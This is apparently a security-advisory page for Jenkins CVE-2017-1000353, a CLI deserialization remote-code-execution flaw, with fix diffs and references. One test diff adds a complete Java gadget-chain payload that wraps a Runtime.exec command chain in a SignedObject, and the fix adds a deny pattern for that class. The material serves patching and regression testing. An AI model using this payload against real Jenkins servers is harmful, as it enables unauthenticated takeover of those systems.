CVE-2017-1000353
Description
Jenkins versions 2.56 and earlier as well as 2.46.1 LTS and earlier are vulnerable to an unauthenticated remote code execution. An unauthenticated remote code execution vulnerability allowed attackers to transfer a serialized Java SignedObject object to the Jenkins CLI, that would be deserialized using a new ObjectInputStream, bypassing the existing blacklist-based protection mechanism. We're fixing this issue by adding SignedObject to the blacklist. We're also backporting the new HTTP CLI protocol from Jenkins 2.54 to LTS 2.46.2, and deprecating the remoting-based (i.e. Java serialization) CLI protocol, disabling it by default.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
org.jenkins-ci.main:jenkins-coreMaven | >= 2.50, < 2.57 | 2.57 |
org.jenkins-ci.main:jenkins-coreMaven | < 2.46.2 | 2.46.2 |
Patches
236b8285a41eb[SECURITY-429] Fixing by blacklisting SignedObject.
3 files changed · +5 −3
core/src/main/java/jenkins/model/Jenkins.java+4 −0 modified@@ -295,8 +295,10 @@ import static hudson.Util.*; import static hudson.init.InitMilestone.*; +import hudson.remoting.ClassFilter; import hudson.util.LogTaskListener; import static java.util.logging.Level.*; +import java.util.regex.Pattern; import static javax.servlet.http.HttpServletResponse.*; import org.kohsuke.stapler.WebMethod; @@ -812,6 +814,8 @@ protected Jenkins(File root, ServletContext context, PluginManager pluginManager adjuncts = new AdjunctManager(servletContext, pluginManager.uberClassLoader,"adjuncts/"+SESSION_HASH, TimeUnit2.DAYS.toMillis(365)); + ClassFilter.appendDefaultFilter(Pattern.compile("java[.]security[.]SignedObject")); // TODO move to standard blacklist + // initialization consists of ... executeReactor( is, pluginManager.initTasks(is), // loading and preparing plugins
pom.xml+1 −1 modified@@ -179,7 +179,7 @@ THE SOFTWARE. <dependency> <groupId>org.jenkins-ci.main</groupId> <artifactId>remoting</artifactId> - <version>2.53.5</version> + <version>2.53.6-20170306.191805-1</version> <!-- TODO --> </dependency> <dependency>
test/src/test/java/jenkins/security/Security218CliTest.java+0 −2 modified@@ -32,7 +32,6 @@ import java.io.PrintStream; import jenkins.security.security218.Payload; import org.jenkinsci.remoting.RoleChecker; -import org.junit.Ignore; import org.junit.Test; import static org.junit.Assert.*; import org.junit.Rule; @@ -170,7 +169,6 @@ public void ldap() throws Exception { probe(Payload.Ldap, PayloadCaller.EXIT_CODE_REJECTED); } - @Ignore("TODO fails unless ^java[.]security[.]SignedObject is blacklisted") @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) @Test @Issue("SECURITY-429")
f237601afd75[SECURITY-429] Reproduced in test.
3 files changed · +167 −0
test/src/test/java/jenkins/security/Security218CliTest.java+8 −0 modified@@ -170,6 +170,14 @@ public void ldap() throws Exception { probe(Payload.Ldap, PayloadCaller.EXIT_CODE_REJECTED); } + @Ignore("TODO fails unless ^java[.]security[.]SignedObject is blacklisted") + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-429") + public void jsonLibSignedObject() throws Exception { + probe(Payload.JsonLibSignedObject, PayloadCaller.EXIT_CODE_REJECTED); + } + private void probe(Payload payload, int expectedResultCode) throws Exception { File file = File.createTempFile("security-218", payload + "-payload"); File moved = new File(file.getAbsolutePath() + "-moved");
test/src/test/java/jenkins/security/security218/Payload.java+1 −0 modified@@ -47,6 +47,7 @@ public enum Payload { Spring1(Spring1.class), Spring2(Spring2.class), Ldap(Ldap.class), + JsonLibSignedObject(JsonLibSignedObject.class), ; private final Class<? extends ObjectPayload> payloadClass;
test/src/test/java/jenkins/security/security218/ysoserial/payloads/JsonLibSignedObject.java+158 −0 added@@ -0,0 +1,158 @@ +package jenkins.security.security218.ysoserial.payloads; + +import java.io.ObjectStreamException; +import java.io.Serializable; +import java.lang.reflect.Field; +import java.security.KeyPair; +import java.security.KeyPairGenerator; +import java.security.PrivateKey; +import java.security.PublicKey; +import java.security.Signature; +import java.security.SignedObject; +import java.util.Comparator; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; +import java.util.concurrent.ConcurrentSkipListSet; +import java.util.concurrent.CopyOnWriteArraySet; +import net.sf.json.JSONArray; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.collection.AbstractCollectionDecorator; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; +import org.apache.commons.collections.map.ReferenceMap; +import org.apache.commons.collections.set.ListOrderedSet; + +/** @author an independent security researcher reporting to Beyond Security’s SecuriTeam Secure Disclosure program */ +public class JsonLibSignedObject implements ObjectPayload<Object> { + + @Override + public Object getObject(String cmd) throws Exception { + final String[] execArgs = new String[] { cmd }; + + final Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] { String.class, + Class[].class }, new Object[] { "getRuntime", + new Class[0] }), + new InvokerTransformer("invoke", new Class[] { Object.class, + Object[].class }, new Object[] { null, new Object[0] }), + new InvokerTransformer("exec", new Class[] { String.class }, + execArgs), new ConstantTransformer(1) }; + + Transformer transformerChain = new ChainedTransformer(transformers); + + final Map innerMap = new HashMap(); + + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + + TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); + + HashSet map = new HashSet(1); + map.add("foo"); + Field f = null; + try { + f = HashSet.class.getDeclaredField("map"); + } catch (NoSuchFieldException e) { + f = HashSet.class.getDeclaredField("backingMap"); + } + + f.setAccessible(true); + HashMap innimpl = (HashMap) f.get(map); + + Field f2 = null; + try { + f2 = HashMap.class.getDeclaredField("table"); + } catch (NoSuchFieldException e) { + f2 = HashMap.class.getDeclaredField("elementData"); + } + + f2.setAccessible(true); + Object[] array2 = (Object[]) f2.get(innimpl); + + Object node = array2[0]; + if (node == null) { + node = array2[1]; + } + + Field keyField = null; + try { + keyField = node.getClass().getDeclaredField("key"); + } catch (Exception e) { + keyField = Class.forName("java.util.MapEntry").getDeclaredField( + "key"); + } + + keyField.setAccessible(true); + keyField.set(node, entry); + + KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA"); + keyPairGenerator.initialize(1024); + KeyPair keyPair = keyPairGenerator.genKeyPair(); + PrivateKey privateKey = keyPair.getPrivate(); + PublicKey publicKey = keyPair.getPublic(); + + Signature signature = Signature.getInstance(privateKey.getAlgorithm()); + SignedObject payload = new SignedObject(map, privateKey, signature); + JSONArray array = new JSONArray(); + + array.add("asdf"); + + ListOrderedSet set = new ListOrderedSet(); + Field f1 = AbstractCollectionDecorator.class + .getDeclaredField("collection"); + f1.setAccessible(true); + f1.set(set, array); + + DummyComperator comp = new DummyComperator(); + ConcurrentSkipListSet csls = new ConcurrentSkipListSet(comp); + csls.add(payload); + + CopyOnWriteArraySet a1 = new CopyOnWriteArraySet(); + CopyOnWriteArraySet a2 = new CopyOnWriteArraySet(); + + a1.add(set); + Container c = new Container(csls); + a1.add(c); + + a2.add(csls); + a2.add(set); + + ReferenceMap flat3map = new ReferenceMap(); + flat3map.put(new Container(a1), "asdf"); + flat3map.put(new Container(a2), "asdf"); + + return flat3map; + } + + static class Container implements Serializable { + + private Object o; + + public Container(Object o) { + this.o = o; + } + + private Object writeReplace() throws ObjectStreamException { + return o; + } + + } + + static class DummyComperator implements Comparator, Serializable { + + public int compare(Object arg0, Object arg1) { + // TODO Auto-generated method stub + return 0; + } + + private Object writeReplace() throws ObjectStreamException { + return null; + } + + } + +}
Vulnerability mechanics
Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
12- www.exploit-db.com/exploits/41965/mitreexploitx_refsource_EXPLOIT-DB
- github.com/advisories/GHSA-26wc-3wqp-g3rpghsaADVISORY
- nvd.nist.gov/vuln/detail/CVE-2017-1000353ghsaADVISORY
- packetstormsecurity.com/files/159266/Jenkins-2.56-CLI-Deserialization-Code-Execution.htmlghsax_refsource_MISCWEB
- www.securityfocus.com/bid/98056ghsavdb-entryx_refsource_BIDWEB
- github.com/jenkinsci/jenkins/commit/36b8285a41eb28333549e8d851f81fd80a184076ghsaWEB
- github.com/jenkinsci/jenkins/commit/f237601afd750a0eaaf961e8120b08de238f2c3fghsaWEB
- jenkins.io/security/advisory/2017-04-26ghsaWEB
- jenkins.io/security/advisory/2017-04-26/mitrex_refsource_CONFIRM
- www.cisa.gov/known-exploited-vulnerabilities-catalogghsaWEB
- www.exploit-db.com/exploits/41965ghsaWEB
- www.oracle.com/security-alerts/cpuapr2022.htmlghsax_refsource_MISCWEB
News mentions
0No linked articles in our index yet.